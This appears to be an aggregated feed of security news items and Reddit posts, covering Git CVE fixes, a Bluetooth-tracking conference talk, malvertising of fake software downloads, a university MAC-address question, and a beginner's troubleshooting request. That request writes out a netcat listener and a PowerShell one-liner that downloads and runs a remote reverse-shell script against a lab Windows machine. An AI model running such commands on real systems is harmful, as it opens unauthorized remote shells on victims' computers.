Two critical flaws discovered in Git source code version control system

The maintainers of the Git source code version control system urge to update the software to fix two critical vulnerabilities. The maintainers of the Git source code version control system announced to have fixed a couple of critical vulnerabilities, tracked as CVE-2022-23521 and CVE-2022-41903, in their software. The flaws were discovered as part of a security source code audit of the source […]

The post Two critical flaws discovered in Git source code version control system appeared first on Security Affairs.

BSides Oslo 2022: Location Tracking of Bluetooth Devices

The recording of my presentation on Location Tracking of Bluetooth Devices at the BSides Oslo 2022 conference has been released on YouTube. In my talk, I demonstrate how easy it is for third parties to track your every move without your knowledge. By analyzing 5,000,000 logged data points, I was able to pinpoint the movement patterns and habits of several device owners in Oslo, even identifying some of the owner’s devices by their names.

This is a must-watch for anyone interested in understanding how Bluetooth devices can be used for mass tracking and surveillance in cities like Oslo.

Youtube: https://www.youtube.com/watch?v=18dXsqpLDtY

To view the full report, click on the link below: https://www.hegnes.tech/2021/09/01/location-tracking-of-wifi-access-point-and-bluetooth-devices/

submitted by /u/bm-h
[link] [comments]

Error While Attempting Reverse Shell with Windows 11 and Kali Linux.

So I’ve recently developed an interest in information security and have started to learn certain basic hacks such as DOS Attacks and smaller wifi-related “Hacks”. I’m a complete beginner so my knowledge is very limited.

I recently tried to follow a Youtube video on how to execute a reverse shell by NetworkChuck. Link to video: https://www.youtube.com/watch?v=bXCeFPNWjsM

I followed all the steps apart from 1, the step where he creates a cloud hacking machine on a website, I did not do that.

My attacking machine is a Kali Linux laptop. I entered this command into the terminal:

stty raw -echo; (stty size; cat) | nc -lvnp 87 -s <attacking machine IPV4 address> 

My victim machine is a Windows 11 laptop. I entered this command into PowerShell as an admin:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <attacking machine IPV4> 87 

I got these commands from the GitHub repo mentioned in the video, which you can find here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows:~:text=Fully%20interactive%20reverse%20shell%20on%20Windows

However, whenever I run the command on my Windows machine, I get the following error:

CreatePseudoConsole function found! Spawning a fully interactive shell ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args) 

I have tried using my Linux machine’s local IPV4 as well as connecting to a hamachi server and using that IPV4, but alas, the error stays the same.

I would really appreciate a hand trying to fix this or at least trying to understand what’s going on. I’ve tried to Google it but I can’t quite come up with a good search prompt.

Thank you in advance!

submitted by /u/Rare_Ad_9417
[link] [comments]

The current cybersecurity system is so flawed it’s unbelievable

The current cybersecurity system is so flawed it's unbelievable

It’s as if we’re trying to protect our digital assets with rusty padlocks. Ethical hacking is great but, at some point, we have to wonder how we allow a failing system to continue without change.

Credit: https://twitter.com/tidefoundation

https://preview.redd.it/9i0yaspz1uca1.png?width=1067&format=png&auto=webp&s=83f3ebb121f5e40ef3f137dfd3cb86c8bac2a9cf

submitted by /u/MilkFull8736
[link] [comments]

Hackers Utilize Google Ads To Push Malware In VLC, 7-Zip, CCleaner

All across the Internet,  fake websites are being set up by hackers to download various popular open-source software. Through the use of Google’s advertisement tools to promote malware instead of the actual software. NFT God One Of The Prominent V…

providing mac addr to university

Today, my university emailed everyone for their mobile and laptop Wi-Fi card physical address. They are going to block internet of unregistered devices (accordingly to them) Should I provide my MAC address? If I do so what they can do with my mac addr …